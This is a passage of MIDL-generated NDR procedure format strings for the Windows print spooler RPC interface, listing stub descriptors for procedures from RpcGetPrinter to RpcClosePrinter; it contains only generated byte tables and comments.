339 | /* 270 */ 0x0, /* 0 */
340 | 0x48, /* Old Flags: */
341 | /* 272 */ NdrFcLong( 0x0 ), /* 0 */
342 | /* 276 */ NdrFcShort( 0x7 ), /* 7 */
343 | /* 278 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
344 | /* 280 */ 0x32, /* FC_BIND_PRIMITIVE */
345 | 0x0, /* 0 */
346 | /* 282 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
347 | /* 284 */ NdrFcShort( 0x0 ), /* 0 */
348 | /* 286 */ NdrFcShort( 0x8 ), /* 8 */
349 | /* 288 */ 0x44, /* Oi2 Flags: has return, has ext, */
350 | 0x1, /* 1 */
351 | /* 290 */ 0x8, /* 8 */
352 | 0x1, /* Ext Flags: new corr desc, */
353 | /* 292 */ NdrFcShort( 0x0 ), /* 0 */
354 | /* 294 */ NdrFcShort( 0x0 ), /* 0 */
355 | /* 296 */ NdrFcShort( 0x0 ), /* 0 */
356 |
357 | /* Return value */
358 |
359 | /* 298 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
360 | /* 300 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
361 | /* 302 */ 0x8, /* FC_LONG */
362 | 0x0, /* 0 */
363 |
364 | /* Procedure RpcGetPrinter */
365 |
366 | /* 304 */ 0x0, /* 0 */
367 | 0x48, /* Old Flags: */
368 | /* 306 */ NdrFcLong( 0x0 ), /* 0 */
369 | /* 310 */ NdrFcShort( 0x8 ), /* 8 */
370 | /* 312 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
371 | /* 314 */ 0x32, /* FC_BIND_PRIMITIVE */
372 | 0x0, /* 0 */
373 | /* 316 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
374 | /* 318 */ NdrFcShort( 0x0 ), /* 0 */
375 | /* 320 */ NdrFcShort( 0x8 ), /* 8 */
376 | /* 322 */ 0x44, /* Oi2 Flags: has return, has ext, */
377 | 0x1, /* 1 */
378 | /* 324 */ 0x8, /* 8 */
379 | 0x1, /* Ext Flags: new corr desc, */
380 | /* 326 */ NdrFcShort( 0x0 ), /* 0 */
381 | /* 328 */ NdrFcShort( 0x0 ), /* 0 */
382 | /* 330 */ NdrFcShort( 0x0 ), /* 0 */
383 |
384 | /* Return value */
385 |
386 | /* 332 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
387 | /* 334 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
388 | /* 336 */ 0x8, /* FC_LONG */
389 | 0x0, /* 0 */
390 |
391 | /* Procedure RpcAddPrinterDriver */
392 |
393 | /* 338 */ 0x0, /* 0 */
394 | 0x48, /* Old Flags: */
395 | /* 340 */ NdrFcLong( 0x0 ), /* 0 */
396 | /* 344 */ NdrFcShort( 0x9 ), /* 9 */
397 | /* 346 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
398 | /* 348 */ 0x32, /* FC_BIND_PRIMITIVE */
399 | 0x0, /* 0 */
400 | /* 350 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
401 | /* 352 */ NdrFcShort( 0x0 ), /* 0 */
402 | /* 354 */ NdrFcShort( 0x8 ), /* 8 */
403 | /* 356 */ 0x44, /* Oi2 Flags: has return, has ext, */
404 | 0x1, /* 1 */
405 | /* 358 */ 0x8, /* 8 */
406 | 0x1, /* Ext Flags: new corr desc, */
407 | /* 360 */ NdrFcShort( 0x0 ), /* 0 */
408 | /* 362 */ NdrFcShort( 0x0 ), /* 0 */
409 | /* 364 */ NdrFcShort( 0x0 ), /* 0 */
410 |
411 | /* Return value */
412 |
413 | /* 366 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
414 | /* 368 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
415 | /* 370 */ 0x8, /* FC_LONG */
416 | 0x0, /* 0 */
417 |
418 | /* Procedure RpcEnumPrinterDrivers */
419 |
420 | /* 372 */ 0x0, /* 0 */
421 | 0x48, /* Old Flags: */
422 | /* 374 */ NdrFcLong( 0x0 ), /* 0 */
423 | /* 378 */ NdrFcShort( 0xa ), /* 10 */
424 | /* 380 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
425 | /* 382 */ 0x32, /* FC_BIND_PRIMITIVE */
426 | 0x0, /* 0 */
427 | /* 384 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
428 | /* 386 */ NdrFcShort( 0x0 ), /* 0 */
429 | /* 388 */ NdrFcShort( 0x8 ), /* 8 */
430 | /* 390 */ 0x44, /* Oi2 Flags: has return, has ext, */
431 | 0x1, /* 1 */
432 | /* 392 */ 0x8, /* 8 */
433 | 0x1, /* Ext Flags: new corr desc, */
434 | /* 394 */ NdrFcShort( 0x0 ), /* 0 */
435 | /* 396 */ NdrFcShort( 0x0 ), /* 0 */
436 | /* 398 */ NdrFcShort( 0x0 ), /* 0 */
437 |
438 | /* Return value */
439 |
440 | /* 400 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
441 | /* 402 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
442 | /* 404 */ 0x8, /* FC_LONG */
443 | 0x0, /* 0 */
444 |
445 | /* Procedure RpcGetPrinterDriver */
446 |
447 | /* 406 */ 0x0, /* 0 */
448 | 0x48, /* Old Flags: */
449 | /* 408 */ NdrFcLong( 0x0 ), /* 0 */
450 | /* 412 */ NdrFcShort( 0xb ), /* 11 */
451 | /* 414 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
452 | /* 416 */ 0x32, /* FC_BIND_PRIMITIVE */
453 | 0x0, /* 0 */
454 | /* 418 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
455 | /* 420 */ NdrFcShort( 0x0 ), /* 0 */
456 | /* 422 */ NdrFcShort( 0x8 ), /* 8 */
457 | /* 424 */ 0x44, /* Oi2 Flags: has return, has ext, */
458 | 0x1, /* 1 */
459 | /* 426 */ 0x8, /* 8 */
460 | 0x1, /* Ext Flags: new corr desc, */
461 | /* 428 */ NdrFcShort( 0x0 ), /* 0 */
462 | /* 430 */ NdrFcShort( 0x0 ), /* 0 */
463 | /* 432 */ NdrFcShort( 0x0 ), /* 0 */
464 |
465 | /* Return value */
466 |
467 | /* 434 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
468 | /* 436 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
469 | /* 438 */ 0x8, /* FC_LONG */
470 | 0x0, /* 0 */
471 |
472 | /* Procedure RpcGetPrinterDriverDirectory */
473 |
474 | /* 440 */ 0x0, /* 0 */
475 | 0x48, /* Old Flags: */
476 | /* 442 */ NdrFcLong( 0x0 ), /* 0 */
477 | /* 446 */ NdrFcShort( 0xc ), /* 12 */
478 | /* 448 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
479 | /* 450 */ 0x32, /* FC_BIND_PRIMITIVE */
480 | 0x0, /* 0 */
481 | /* 452 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
482 | /* 454 */ NdrFcShort( 0x0 ), /* 0 */
483 | /* 456 */ NdrFcShort( 0x8 ), /* 8 */
484 | /* 458 */ 0x44, /* Oi2 Flags: has return, has ext, */
485 | 0x1, /* 1 */
486 | /* 460 */ 0x8, /* 8 */
487 | 0x1, /* Ext Flags: new corr desc, */
488 | /* 462 */ NdrFcShort( 0x0 ), /* 0 */
489 | /* 464 */ NdrFcShort( 0x0 ), /* 0 */
490 | /* 466 */ NdrFcShort( 0x0 ), /* 0 */
491 |
492 | /* Return value */
493 |
494 | /* 468 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
495 | /* 470 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
496 | /* 472 */ 0x8, /* FC_LONG */
497 | 0x0, /* 0 */
498 |
499 | /* Procedure RpcDeletePrinterDriver */
500 |
501 | /* 474 */ 0x0, /* 0 */
502 | 0x48, /* Old Flags: */
503 | /* 476 */ NdrFcLong( 0x0 ), /* 0 */
504 | /* 480 */ NdrFcShort( 0xd ), /* 13 */
505 | /* 482 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
506 | /* 484 */ 0x32, /* FC_BIND_PRIMITIVE */
507 | 0x0, /* 0 */
508 | /* 486 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
509 | /* 488 */ NdrFcShort( 0x0 ), /* 0 */
510 | /* 490 */ NdrFcShort( 0x8 ), /* 8 */
511 | /* 492 */ 0x44, /* Oi2 Flags: has return, has ext, */
512 | 0x1, /* 1 */
513 | /* 494 */ 0x8, /* 8 */
514 | 0x1, /* Ext Flags: new corr desc, */
515 | /* 496 */ NdrFcShort( 0x0 ), /* 0 */
516 | /* 498 */ NdrFcShort( 0x0 ), /* 0 */
517 | /* 500 */ NdrFcShort( 0x0 ), /* 0 */
518 |
519 | /* Return value */
520 |
521 | /* 502 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
522 | /* 504 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
523 | /* 506 */ 0x8, /* FC_LONG */
524 | 0x0, /* 0 */
525 |
526 | /* Procedure RpcAddPrintProcessor */
527 |
528 | /* 508 */ 0x0, /* 0 */
529 | 0x48, /* Old Flags: */
530 | /* 510 */ NdrFcLong( 0x0 ), /* 0 */
531 | /* 514 */ NdrFcShort( 0xe ), /* 14 */
532 | /* 516 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
533 | /* 518 */ 0x32, /* FC_BIND_PRIMITIVE */
534 | 0x0, /* 0 */
535 | /* 520 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
536 | /* 522 */ NdrFcShort( 0x0 ), /* 0 */
537 | /* 524 */ NdrFcShort( 0x8 ), /* 8 */
538 | /* 526 */ 0x44, /* Oi2 Flags: has return, has ext, */
539 | 0x1, /* 1 */
540 | /* 528 */ 0x8, /* 8 */
541 | 0x1, /* Ext Flags: new corr desc, */
542 | /* 530 */ NdrFcShort( 0x0 ), /* 0 */
543 | /* 532 */ NdrFcShort( 0x0 ), /* 0 */
544 | /* 534 */ NdrFcShort( 0x0 ), /* 0 */
545 |
546 | /* Return value */
547 |
548 | /* 536 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
549 | /* 538 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
550 | /* 540 */ 0x8, /* FC_LONG */
551 | 0x0, /* 0 */
552 |
553 | /* Procedure RpcEnumPrintProcessors */
554 |
555 | /* 542 */ 0x0, /* 0 */
556 | 0x48, /* Old Flags: */
557 | /* 544 */ NdrFcLong( 0x0 ), /* 0 */
558 | /* 548 */ NdrFcShort( 0xf ), /* 15 */
559 | /* 550 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
560 | /* 552 */ 0x32, /* FC_BIND_PRIMITIVE */
561 | 0x0, /* 0 */
562 | /* 554 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
563 | /* 556 */ NdrFcShort( 0x0 ), /* 0 */
564 | /* 558 */ NdrFcShort( 0x8 ), /* 8 */
565 | /* 560 */ 0x44, /* Oi2 Flags: has return, has ext, */
566 | 0x1, /* 1 */
567 | /* 562 */ 0x8, /* 8 */
568 | 0x1, /* Ext Flags: new corr desc, */
569 | /* 564 */ NdrFcShort( 0x0 ), /* 0 */
570 | /* 566 */ NdrFcShort( 0x0 ), /* 0 */
571 | /* 568 */ NdrFcShort( 0x0 ), /* 0 */
572 |
573 | /* Return value */
574 |
575 | /* 570 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
576 | /* 572 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
577 | /* 574 */ 0x8, /* FC_LONG */
578 | 0x0, /* 0 */
579 |
580 | /* Procedure RpcGetPrintProcessorDirectory */
581 |
582 | /* 576 */ 0x0, /* 0 */
583 | 0x48, /* Old Flags: */
584 | /* 578 */ NdrFcLong( 0x0 ), /* 0 */
585 | /* 582 */ NdrFcShort( 0x10 ), /* 16 */
586 | /* 584 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
587 | /* 586 */ 0x32, /* FC_BIND_PRIMITIVE */
588 | 0x0, /* 0 */
589 | /* 588 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
590 | /* 590 */ NdrFcShort( 0x0 ), /* 0 */
591 | /* 592 */ NdrFcShort( 0x8 ), /* 8 */
592 | /* 594 */ 0x44, /* Oi2 Flags: has return, has ext, */
593 | 0x1, /* 1 */
594 | /* 596 */ 0x8, /* 8 */
595 | 0x1, /* Ext Flags: new corr desc, */
596 | /* 598 */ NdrFcShort( 0x0 ), /* 0 */
597 | /* 600 */ NdrFcShort( 0x0 ), /* 0 */
598 | /* 602 */ NdrFcShort( 0x0 ), /* 0 */
599 |
600 | /* Return value */
601 |
602 | /* 604 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
603 | /* 606 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
604 | /* 608 */ 0x8, /* FC_LONG */
605 | 0x0, /* 0 */
606 |
607 | /* Procedure RpcStartDocPrinter */
608 |
609 | /* 610 */ 0x0, /* 0 */
610 | 0x48, /* Old Flags: */
611 | /* 612 */ NdrFcLong( 0x0 ), /* 0 */
612 | /* 616 */ NdrFcShort( 0x11 ), /* 17 */
613 | /* 618 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
614 | /* 620 */ 0x32, /* FC_BIND_PRIMITIVE */
615 | 0x0, /* 0 */
616 | /* 622 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
617 | /* 624 */ NdrFcShort( 0x0 ), /* 0 */
618 | /* 626 */ NdrFcShort( 0x8 ), /* 8 */
619 | /* 628 */ 0x44, /* Oi2 Flags: has return, has ext, */
620 | 0x1, /* 1 */
621 | /* 630 */ 0x8, /* 8 */
622 | 0x1, /* Ext Flags: new corr desc, */
623 | /* 632 */ NdrFcShort( 0x0 ), /* 0 */
624 | /* 634 */ NdrFcShort( 0x0 ), /* 0 */
625 | /* 636 */ NdrFcShort( 0x0 ), /* 0 */
626 |
627 | /* Return value */
628 |
629 | /* 638 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
630 | /* 640 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
631 | /* 642 */ 0x8, /* FC_LONG */
632 | 0x0, /* 0 */
633 |
634 | /* Procedure RpcStartPagePrinter */
635 |
636 | /* 644 */ 0x0, /* 0 */
637 | 0x48, /* Old Flags: */
638 | /* 646 */ NdrFcLong( 0x0 ), /* 0 */
639 | /* 650 */ NdrFcShort( 0x12 ), /* 18 */
640 | /* 652 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
641 | /* 654 */ 0x32, /* FC_BIND_PRIMITIVE */
642 | 0x0, /* 0 */
643 | /* 656 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
644 | /* 658 */ NdrFcShort( 0x0 ), /* 0 */
645 | /* 660 */ NdrFcShort( 0x8 ), /* 8 */
646 | /* 662 */ 0x44, /* Oi2 Flags: has return, has ext, */
647 | 0x1, /* 1 */
648 | /* 664 */ 0x8, /* 8 */
649 | 0x1, /* Ext Flags: new corr desc, */
650 | /* 666 */ NdrFcShort( 0x0 ), /* 0 */
651 | /* 668 */ NdrFcShort( 0x0 ), /* 0 */
652 | /* 670 */ NdrFcShort( 0x0 ), /* 0 */
653 |
654 | /* Return value */
655 |
656 | /* 672 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
657 | /* 674 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
658 | /* 676 */ 0x8, /* FC_LONG */
659 | 0x0, /* 0 */
660 |
661 | /* Procedure RpcWritePrinter */
662 |
663 | /* 678 */ 0x0, /* 0 */
664 | 0x48, /* Old Flags: */
665 | /* 680 */ NdrFcLong( 0x0 ), /* 0 */
666 | /* 684 */ NdrFcShort( 0x13 ), /* 19 */
667 | /* 686 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
668 | /* 688 */ 0x32, /* FC_BIND_PRIMITIVE */
669 | 0x0, /* 0 */
670 | /* 690 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
671 | /* 692 */ NdrFcShort( 0x0 ), /* 0 */
672 | /* 694 */ NdrFcShort( 0x8 ), /* 8 */
673 | /* 696 */ 0x44, /* Oi2 Flags: has return, has ext, */
674 | 0x1, /* 1 */
675 | /* 698 */ 0x8, /* 8 */
676 | 0x1, /* Ext Flags: new corr desc, */
677 | /* 700 */ NdrFcShort( 0x0 ), /* 0 */
678 | /* 702 */ NdrFcShort( 0x0 ), /* 0 */
679 | /* 704 */ NdrFcShort( 0x0 ), /* 0 */
680 |
681 | /* Return value */
682 |
683 | /* 706 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
684 | /* 708 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
685 | /* 710 */ 0x8, /* FC_LONG */
686 | 0x0, /* 0 */
687 |
688 | /* Procedure RpcEndPagePrinter */
689 |
690 | /* 712 */ 0x0, /* 0 */
691 | 0x48, /* Old Flags: */
692 | /* 714 */ NdrFcLong( 0x0 ), /* 0 */
693 | /* 718 */ NdrFcShort( 0x14 ), /* 20 */
694 | /* 720 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
695 | /* 722 */ 0x32, /* FC_BIND_PRIMITIVE */
696 | 0x0, /* 0 */
697 | /* 724 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
698 | /* 726 */ NdrFcShort( 0x0 ), /* 0 */
699 | /* 728 */ NdrFcShort( 0x8 ), /* 8 */
700 | /* 730 */ 0x44, /* Oi2 Flags: has return, has ext, */
701 | 0x1, /* 1 */
702 | /* 732 */ 0x8, /* 8 */
703 | 0x1, /* Ext Flags: new corr desc, */
704 | /* 734 */ NdrFcShort( 0x0 ), /* 0 */
705 | /* 736 */ NdrFcShort( 0x0 ), /* 0 */
706 | /* 738 */ NdrFcShort( 0x0 ), /* 0 */
707 |
708 | /* Return value */
709 |
710 | /* 740 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
711 | /* 742 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
712 | /* 744 */ 0x8, /* FC_LONG */
713 | 0x0, /* 0 */
714 |
715 | /* Procedure RpcAbortPrinter */
716 |
717 | /* 746 */ 0x0, /* 0 */
718 | 0x48, /* Old Flags: */
719 | /* 748 */ NdrFcLong( 0x0 ), /* 0 */
720 | /* 752 */ NdrFcShort( 0x15 ), /* 21 */
721 | /* 754 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
722 | /* 756 */ 0x32, /* FC_BIND_PRIMITIVE */
723 | 0x0, /* 0 */
724 | /* 758 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
725 | /* 760 */ NdrFcShort( 0x0 ), /* 0 */
726 | /* 762 */ NdrFcShort( 0x8 ), /* 8 */
727 | /* 764 */ 0x44, /* Oi2 Flags: has return, has ext, */
728 | 0x1, /* 1 */
729 | /* 766 */ 0x8, /* 8 */
730 | 0x1, /* Ext Flags: new corr desc, */
731 | /* 768 */ NdrFcShort( 0x0 ), /* 0 */
732 | /* 770 */ NdrFcShort( 0x0 ), /* 0 */
733 | /* 772 */ NdrFcShort( 0x0 ), /* 0 */
734 |
735 | /* Return value */
736 |
737 | /* 774 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
738 | /* 776 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
739 | /* 778 */ 0x8, /* FC_LONG */
740 | 0x0, /* 0 */
741 |
742 | /* Procedure RpcReadPrinter */
743 |
744 | /* 780 */ 0x0, /* 0 */
745 | 0x48, /* Old Flags: */
746 | /* 782 */ NdrFcLong( 0x0 ), /* 0 */
747 | /* 786 */ NdrFcShort( 0x16 ), /* 22 */
748 | /* 788 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
749 | /* 790 */ 0x32, /* FC_BIND_PRIMITIVE */
750 | 0x0, /* 0 */
751 | /* 792 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
752 | /* 794 */ NdrFcShort( 0x0 ), /* 0 */
753 | /* 796 */ NdrFcShort( 0x8 ), /* 8 */
754 | /* 798 */ 0x44, /* Oi2 Flags: has return, has ext, */
755 | 0x1, /* 1 */
756 | /* 800 */ 0x8, /* 8 */
757 | 0x1, /* Ext Flags: new corr desc, */
758 | /* 802 */ NdrFcShort( 0x0 ), /* 0 */
759 | /* 804 */ NdrFcShort( 0x0 ), /* 0 */
760 | /* 806 */ NdrFcShort( 0x0 ), /* 0 */
761 |
762 | /* Return value */
763 |
764 | /* 808 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
765 | /* 810 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
766 | /* 812 */ 0x8, /* FC_LONG */
767 | 0x0, /* 0 */
768 |
769 | /* Procedure RpcEndDocPrinter */
770 |
771 | /* 814 */ 0x0, /* 0 */
772 | 0x48, /* Old Flags: */
773 | /* 816 */ NdrFcLong( 0x0 ), /* 0 */
774 | /* 820 */ NdrFcShort( 0x17 ), /* 23 */
775 | /* 822 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
776 | /* 824 */ 0x32, /* FC_BIND_PRIMITIVE */
777 | 0x0, /* 0 */
778 | /* 826 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
779 | /* 828 */ NdrFcShort( 0x0 ), /* 0 */
780 | /* 830 */ NdrFcShort( 0x8 ), /* 8 */
781 | /* 832 */ 0x44, /* Oi2 Flags: has return, has ext, */
782 | 0x1, /* 1 */
783 | /* 834 */ 0x8, /* 8 */
784 | 0x1, /* Ext Flags: new corr desc, */
785 | /* 836 */ NdrFcShort( 0x0 ), /* 0 */
786 | /* 838 */ NdrFcShort( 0x0 ), /* 0 */
787 | /* 840 */ NdrFcShort( 0x0 ), /* 0 */
788 |
789 | /* Return value */
790 |
791 | /* 842 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
792 | /* 844 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
793 | /* 846 */ 0x8, /* FC_LONG */
794 | 0x0, /* 0 */
795 |
796 | /* Procedure RpcAddJob */
797 |
798 | /* 848 */ 0x0, /* 0 */
799 | 0x48, /* Old Flags: */
800 | /* 850 */ NdrFcLong( 0x0 ), /* 0 */
801 | /* 854 */ NdrFcShort( 0x18 ), /* 24 */
802 | /* 856 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
803 | /* 858 */ 0x32, /* FC_BIND_PRIMITIVE */
804 | 0x0, /* 0 */
805 | /* 860 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
806 | /* 862 */ NdrFcShort( 0x0 ), /* 0 */
807 | /* 864 */ NdrFcShort( 0x8 ), /* 8 */
808 | /* 866 */ 0x44, /* Oi2 Flags: has return, has ext, */
809 | 0x1, /* 1 */
810 | /* 868 */ 0x8, /* 8 */
811 | 0x1, /* Ext Flags: new corr desc, */
812 | /* 870 */ NdrFcShort( 0x0 ), /* 0 */
813 | /* 872 */ NdrFcShort( 0x0 ), /* 0 */
814 | /* 874 */ NdrFcShort( 0x0 ), /* 0 */
815 |
816 | /* Return value */
817 |
818 | /* 876 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
819 | /* 878 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
820 | /* 880 */ 0x8, /* FC_LONG */
821 | 0x0, /* 0 */
822 |
823 | /* Procedure RpcScheduleJob */
824 |
825 | /* 882 */ 0x0, /* 0 */
826 | 0x48, /* Old Flags: */
827 | /* 884 */ NdrFcLong( 0x0 ), /* 0 */
828 | /* 888 */ NdrFcShort( 0x19 ), /* 25 */
829 | /* 890 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
830 | /* 892 */ 0x32, /* FC_BIND_PRIMITIVE */
831 | 0x0, /* 0 */
832 | /* 894 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
833 | /* 896 */ NdrFcShort( 0x0 ), /* 0 */
834 | /* 898 */ NdrFcShort( 0x8 ), /* 8 */
835 | /* 900 */ 0x44, /* Oi2 Flags: has return, has ext, */
836 | 0x1, /* 1 */
837 | /* 902 */ 0x8, /* 8 */
838 | 0x1, /* Ext Flags: new corr desc, */
839 | /* 904 */ NdrFcShort( 0x0 ), /* 0 */
840 | /* 906 */ NdrFcShort( 0x0 ), /* 0 */
841 | /* 908 */ NdrFcShort( 0x0 ), /* 0 */
842 |
843 | /* Return value */
844 |
845 | /* 910 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
846 | /* 912 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
847 | /* 914 */ 0x8, /* FC_LONG */
848 | 0x0, /* 0 */
849 |
850 | /* Procedure RpcGetPrinterData */
851 |
852 | /* 916 */ 0x0, /* 0 */
853 | 0x48, /* Old Flags: */
854 | /* 918 */ NdrFcLong( 0x0 ), /* 0 */
855 | /* 922 */ NdrFcShort( 0x1a ), /* 26 */
856 | /* 924 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
857 | /* 926 */ 0x32, /* FC_BIND_PRIMITIVE */
858 | 0x0, /* 0 */
859 | /* 928 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
860 | /* 930 */ NdrFcShort( 0x0 ), /* 0 */
861 | /* 932 */ NdrFcShort( 0x8 ), /* 8 */
862 | /* 934 */ 0x44, /* Oi2 Flags: has return, has ext, */
863 | 0x1, /* 1 */
864 | /* 936 */ 0x8, /* 8 */
865 | 0x1, /* Ext Flags: new corr desc, */
866 | /* 938 */ NdrFcShort( 0x0 ), /* 0 */
867 | /* 940 */ NdrFcShort( 0x0 ), /* 0 */
868 | /* 942 */ NdrFcShort( 0x0 ), /* 0 */
869 |
870 | /* Return value */
871 |
872 | /* 944 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
873 | /* 946 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
874 | /* 948 */ 0x8, /* FC_LONG */
875 | 0x0, /* 0 */
876 |
877 | /* Procedure RpcSetPrinterData */
878 |
879 | /* 950 */ 0x0, /* 0 */
880 | 0x48, /* Old Flags: */
881 | /* 952 */ NdrFcLong( 0x0 ), /* 0 */
882 | /* 956 */ NdrFcShort( 0x1b ), /* 27 */
883 | /* 958 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
884 | /* 960 */ 0x32, /* FC_BIND_PRIMITIVE */
885 | 0x0, /* 0 */
886 | /* 962 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
887 | /* 964 */ NdrFcShort( 0x0 ), /* 0 */
888 | /* 966 */ NdrFcShort( 0x8 ), /* 8 */
889 | /* 968 */ 0x44, /* Oi2 Flags: has return, has ext, */
890 | 0x1, /* 1 */
891 | /* 970 */ 0x8, /* 8 */
892 | 0x1, /* Ext Flags: new corr desc, */
893 | /* 972 */ NdrFcShort( 0x0 ), /* 0 */
894 | /* 974 */ NdrFcShort( 0x0 ), /* 0 */
895 | /* 976 */ NdrFcShort( 0x0 ), /* 0 */
896 |
897 | /* Return value */
898 |
899 | /* 978 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
900 | /* 980 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
901 | /* 982 */ 0x8, /* FC_LONG */
902 | 0x0, /* 0 */
903 |
904 | /* Procedure RpcWaitForPrinterChange */
905 |
906 | /* 984 */ 0x0, /* 0 */
907 | 0x48, /* Old Flags: */
908 | /* 986 */ NdrFcLong( 0x0 ), /* 0 */
909 | /* 990 */ NdrFcShort( 0x1c ), /* 28 */
910 | /* 992 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
911 | /* 994 */ 0x32, /* FC_BIND_PRIMITIVE */
912 | 0x0, /* 0 */
913 | /* 996 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
914 | /* 998 */ NdrFcShort( 0x0 ), /* 0 */
915 | /* 1000 */ NdrFcShort( 0x8 ), /* 8 */
916 | /* 1002 */ 0x44, /* Oi2 Flags: has return, has ext, */
917 | 0x1, /* 1 */
918 | /* 1004 */ 0x8, /* 8 */
919 | 0x1, /* Ext Flags: new corr desc, */
920 | /* 1006 */ NdrFcShort( 0x0 ), /* 0 */
921 | /* 1008 */ NdrFcShort( 0x0 ), /* 0 */
922 | /* 1010 */ NdrFcShort( 0x0 ), /* 0 */
923 |
924 | /* Return value */
925 |
926 | /* 1012 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
927 | /* 1014 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
928 | /* 1016 */ 0x8, /* FC_LONG */
929 | 0x0, /* 0 */
930 |
931 | /* Procedure RpcClosePrinter */
932 |
933 | /* 1018 */ 0x0, /* 0 */
934 | 0x48, /* Old Flags: */
935 | /* 1020 */ NdrFcLong( 0x0 ), /* 0 */
936 | /* 1024 */ NdrFcShort( 0x1d ), /* 29 */
937 | /* 1026 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
938 | /* 1028 */ 0x30, /* FC_BIND_CONTEXT */
939 | 0xe0, /* Ctxt flags: via ptr, in, out, */
940 | /* 1030 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
941 | /* 1032 */ 0x0, /* 0 */
942 | 0x0, /* 0 */
